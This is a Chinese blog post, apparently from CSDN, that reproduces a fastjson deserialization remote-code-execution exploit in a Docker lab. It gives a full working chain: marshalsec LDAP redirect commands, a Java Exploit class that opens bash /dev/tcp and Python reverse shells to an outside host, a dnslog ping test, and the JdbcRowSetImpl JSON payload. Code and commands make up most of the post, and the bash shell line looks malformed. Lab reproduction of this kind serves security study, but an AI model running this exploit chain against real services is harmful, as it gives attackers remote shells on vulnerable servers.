fastjson反序列化map_fastjson反序列化复现

本文详细介绍了如何复现fastjson反序列化Map的漏洞。首先,准备marshalsec工具和Exploit.class文件,然后在docker环境中搭建web服务,通过LDAP服务重定向构造利用。接着,通过HTTP服务和LDAP监听,进行攻击测试,最终尝试反弹shell,展示了一次完整的漏洞利用过程。
摘要由CSDN通过智能技术生成

fastjson反序列化

准备

1.marshalsec ---可用jar包      参考:

github:https://github.com/LeadroyaL/cve-2019-14540-exploit
git clone https://github.com/mbechler/marshalsec.gitmvn package -D skipTests
-DskipTests,不执行测试用例,但编译测试用例类生成相应的class文件至target/test-classes下。

marshalsec-0.0.3-SNAPSHOT-all.jar完成 2.编译生成Exploit.class Exploit.java:

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat &5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

编译Exploit.java会生成一个Exploit.class文件

javac Exploit.java 

同目录下生成一个Exploit.class 准备工作完成,同目录下存在文件:

d551c67e3efff3d7d93a8737483a83bd.png

3.docker环境

开始

1.漏洞是利用了LDAP服务重定向请求从而构造成利用,所有要先开启web服务,把准备工作的三个文件放在web下面。利用python开启简单的http服务

python2:python2 -m SimpleHTTPServer 9090
python3python3 -m http.server 9090

7e6354110142e67ad32677ef15d2bee2.png

2.服务器使用marshalsec开启LDAP服务监听,借助LDAP服务将LDAP reference result 重定向到web服务器

在marshalsec-0.0.3-SNAPSHOT-all.jar包下。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#Exploit 9999

10626c53713b27c60935b8adfe8ab436.png

3.为了方便测试,首先采取了ping dnslog来测试 修改为ping

f106989806727507917ef5c0396bbbd1.png

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","ping sdf3g5.dnslog.cn"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }

编译成class。

4.进行攻击 exp:

{    "name":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "x":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://ip:9999/Exploit",        "autoCommit":true    } }

34dcee2cc717150af4d74a0c92d3eeec.png

49a018e98d1d33f9f52abfbf05655b7a.png

5.尝试反弹shell,采用python进行反弹

python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.13.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

把ping修改成python反弹

‍‍import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.13.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

编译成class 本地开启http,使用marshalsec开启LDAP服务监听,运行返回shell

3322b7e479ab9ab9bd8079567fbf21f2.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值